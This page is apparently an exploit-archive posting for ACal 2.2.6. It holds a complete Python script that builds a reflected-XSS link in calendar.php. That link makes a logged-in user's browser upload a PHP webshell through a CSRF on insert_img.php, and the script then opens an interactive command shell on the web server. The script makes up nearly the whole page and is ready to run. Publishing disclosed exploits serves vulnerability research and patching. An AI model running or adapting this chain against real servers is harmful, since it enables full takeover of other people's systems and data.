what you don't know can hurt you

ACal 2.2.6 Remote Code Execution

ACal 2.2.6 Remote Code Execution
Posted May 15, 2020
Authored by Bobby Cooke

ACal version 2.2.6 suffers from a one-click remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 168d9516623ec5c828c45bf6cbea0151

ACal 2.2.6 Remote Code Execution

Change Mirror Download
# Exploit Title: ACal v2.2.6 - 1-Click Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: May 14th, 2020
# Vendor Homepage: http://acalproj.sourceforge.net/
# Software Link: http://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download
# Version: 2.2.6
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 (the Hosting Webserver)
# Tested Against: Windows 10 1909 IE & Edge Browser (Client) & Linux Firefox 68.2.0esr
# Exploit Tested On: Python 2.7.17
# Vulnerability Description:
# ACal v2.2.6 suffers from multiple Vulnerabilities allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via an Authenticated User clicking a Maliciously Crafted URL Link; launching a Sophisticated Attack-Chain to fully compromise the server.
# Exploit Details:
# 1. When an Authenticated User clicks the maliciously crafted URL Link, the '/calendar.php' webpage is exploited using a Reflected Cross-Site Scripting (XSS) attack in the vulnerable 'year' parameter with a GET request.
# 2. The XSS script executes JavaScript code within the clients browser and "Rides" the authenticated session to perform a Cross-Site Request Forgery (CSRF) attack on the vulnerable 'insert_img.php' webpage.
# 3. Using an XMLHttpRequest, the JavaScript code dynamically generates & uploads a malicious PHP file to the Webserver with a malicious POST request.
# 4. After the Malicious PHP Webshell has been uploaded to the Webserver, the Exploit connects to the Webserver as an Unauthenticated User.
# 5. Once connected, the Exploit communicates with the PHP Webshell on the Webserver using the GET parameter 'cmd' to gain interactive Remote Code Execution (RCE) on the Webserver.

import requests, sys, urllib
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def urlEncode(javascript):
return urllib.quote(javascript)

def webshell(WEBAPP_URL):
try:
WEB_SHELL = WEBAPP_URL+'uploads/webshell.php'
getdir = {'cmd': 'echo %CD%'}
r1 = requests.get(WEB_SHELL, params=getdir, verify=False)
status = r1.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell. Have an Authenticated User visit the generated URL in their Browser and Relaunch."+Style.RESET_ALL
r1.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = r1.text
cwd = cwd.replace('\n','> ')
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
cmd = raw_input(term)
command = {'cmd': cmd}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)

def genXhrPayload(WEBAPP_URL):
XHR_PAYLOAD = '<script>'
XHR_PAYLOAD += 'function read_body(xhr) { '
XHR_PAYLOAD += 'var data; '
XHR_PAYLOAD += 'if (!xhr.responseType || xhr.responseType === "text") { '
XHR_PAYLOAD += 'data = xhr.responseText; '
XHR_PAYLOAD += '} else if (xhr.responseType === "document") { '
XHR_PAYLOAD += 'data = xhr.responseXML; '
XHR_PAYLOAD += '} else if (xhr.responseType === "json") { '
XHR_PAYLOAD += 'data = xhr.responseJSON; '
XHR_PAYLOAD += '} else { '
XHR_PAYLOAD += 'data = xhr.response; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'return data; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var xhr = new XMLHttpRequest(); '
XHR_PAYLOAD += 'xhr.onreadystatechange = function() { '
XHR_PAYLOAD += 'if (xhr.readyState == XMLHttpRequest.DONE) { '
XHR_PAYLOAD += 'console.log(read_body(xhr)); '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var fd = new FormData(); '
XHR_PAYLOAD += "var content = '<?php echo shell_exec($_GET[\"cmd\"]); ?>'; "
XHR_PAYLOAD += 'var blob = new Blob([content], { type: "application/x-php"}); '
XHR_PAYLOAD += 'fd.append("userfile", blob, "webshell.php"); '
XHR_PAYLOAD += 'fd.append("url", "http://"); '
XHR_PAYLOAD += 'console.log(fd); '
XHR_PAYLOAD += "xhr.open('POST', '"+WEBAPP_URL+"insert_img.php?upload=file', true); "
XHR_PAYLOAD += 'xhr.send(fd); '
XHR_PAYLOAD += '</script>'
return XHR_PAYLOAD

def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG

if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/calendar/'" % sys.argv[0])
sys.exit(-1)
WEBAPP_URL = sys.argv[1]
CSRF_ATTACK = genXhrPayload(WEBAPP_URL)
ENCODED_PAYLOAD = urlEncode(CSRF_ATTACK)
print(Style.BRIGHT+Fore.BLUE+'[+] '+Fore.RESET+'To execute the '+Fore.RED+'Reflected XSS Session-Riding CSRF Attack'+Fore.RESET+', have an '+Fore.GREEN+'Authenticated User '+Fore.RESET+'visit '+Fore.CYAN+'this URL'+Fore.RESET+' in their '+Fore.BLUE+'Browser'+Fore.RESET+':')
print Fore.CYAN+WEBAPP_URL+'calendar.php?year='+ENCODED_PAYLOAD+'&month=05#'+Fore.RESET
webshell(WEBAPP_URL)
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    17 Files
  • 25
    Jan 25th
    34 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close